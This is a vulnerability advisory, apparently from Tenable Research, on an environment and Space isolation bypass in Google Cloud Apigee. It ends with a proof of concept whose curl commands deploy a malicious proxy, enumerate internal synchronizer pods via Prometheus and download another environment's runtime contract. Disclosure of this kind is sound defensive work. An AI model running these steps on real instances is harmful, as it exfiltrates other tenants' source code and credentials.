GCP Apigee Space and Environment Isolation Bypass Using Internal Services

Tenable Research has identified and responsibly disclosed a severe authorization bypass vulnerability in Google Cloud Apigee. This flaw allows an attacker with proxy deployment access in one environment to exfiltrate the complete runtime contract, including all API proxy source code, policies, and sensitive configurations from any other environment or Space on the same Apigee instance, even those to which they have no IAM access.

Apigee environments and Spaces are designed to enforce tenant and workspace isolation within an instance. Management API endpoints enforce these boundaries by rejecting requests for resources in environments or Spaces where the user lacks explicit IAM permissions (such as apigee.proxies.get).

However, an attacker with apigee.deployments.create permissions in a single permitted environment can deploy a custom API proxy that interacts directly with unauthenticated internal cluster services on the underlying Kubernetes infrastructure:

1. Internal Discovery via Prometheus: The API proxy queries an unauthenticated internal Prometheus metrics endpoint (apigee-metrics-default-telemetry-app.apigee.svc.cluster.local:9090). This service exposes cluster-wide metadata, revealing the IP addresses and environment labels of synchronizer pods across all environments on the instance.
2. Contract Extraction via Synchronizer: The proxy then sends an HTTP request directly to the internal synchronizer service (port 8843) on the target pod's IP address. Because this internal service lacks authentication and network segmentation from proxy execution pods, it returns the full runtime contract ZIP file for that environment.

This bypass grants the attacker complete access to the underlying source code, routing rules, backend endpoints, and embedded credentials of API proxies in restricted environments and Spaces.

Proof of Concept:

Setup:

1. Create an Apigee X organization with at least two environments and spaces on the same instance (e.g., public and secret)
2. Deploy an API proxy with sensitive business logic in secret and private space
3. Grant attacker user roles/apigee.environmentAdmin on public only. Verify they can't view secret proxies
4. Define environment variables:

export APIGEE_ORG="<your-org>"
export APIGEE_SPACE="<attacker-space>"
export APIGEE_ENV="<attacker-env>"
export APIGEE_HOST="<environment-group-hostname>"

Reproduction:

1. As the public-only attacker user, deploy a malicious proxy bundle that can enumerate two endpoints:
   • GET /spaces-escape?action=discover - queries the internal Prometheus service to enumerate all environments and their synchronizer pod IPs
   • GET /spaces-escape?action=fetch&ip=<synchronizer-ip> - fetches the full runtime contract ZIP from the specified synchronizer
2. Import and deploy:

curl -X POST \
  "https://apigee.googleapis.com/v1/organizations/$APIGEE_ORG/apis?name=spaces-escape&action=import&space=$SPACE" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @bundle.zip
  
curl -X POST \
  "https://apigee.googleapis.com/v1/organizations/$APIGEE_ORG/environments/$APIGEE_ENV/apis/spaces-escape/revisions/1/deployments" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)"

3. Discover all environments on the instance:

curl -s "https://$APIGEE_HOST/spaces-escape?action=discover"

4. Fetch the target environment's full contract using the IP from step 2:

curl -s "https://$APIGEE_HOST/spaces-escape?action=fetch&ip=<IP>" -o private-env-contract.zip

5. The attacker now has complete source code for all proxies from the environment they have no access to:
6. unzip -l private-env-contract.zip